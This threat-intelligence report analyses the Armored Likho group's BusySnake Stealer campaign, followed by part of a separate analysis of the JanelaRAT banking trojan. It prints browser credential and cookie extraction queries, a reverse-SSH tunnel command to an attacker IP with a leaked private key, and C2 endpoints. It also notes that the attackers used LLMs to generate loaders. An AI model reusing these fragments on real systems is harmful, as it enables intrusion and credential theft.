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Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name	Description
single_instance_lock	Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger	Steals data from the system clipboard.
start_inventory_background	Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file	Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background	Forwards user documents to the C2 server.
take_screenshot	Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs	Archives captured screenshots and purges previously created archives from the disk.
poll_task	Waits for incoming C2 commands to execute.
ensure_schtask	Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name	Description
handle_send_screenshots_command	Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log	Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords	Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords	Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies	Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command	Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command	Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command	Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command	Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
handle_start_proxy_command / handle_stop_proxy_command	Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host.
handle_remote_control_command	Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

Handler Name	Endpoint	Request body	Description
poll_commands	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID}	–	Awaits new commands for execution
poll_tasks	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID}	–	Awaits Python scripts for execution
set_task_status	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/	{ ‘status’: status, ‘logs’: logs }	Transmits task status updates
upload_file_once	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/	{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id }	File exfiltration to the C2

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

Unit 42 analyzes the evolution of Gremlin stealer. This variant uses advanced obfuscation, crypto clipping and session hijacking to compromise data.

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Unit 42 analyzes npm supply chain evolution post-Shai Hulud. Discover wormable malware, CI/CD persistence, multi-stage attacks and more.

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Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

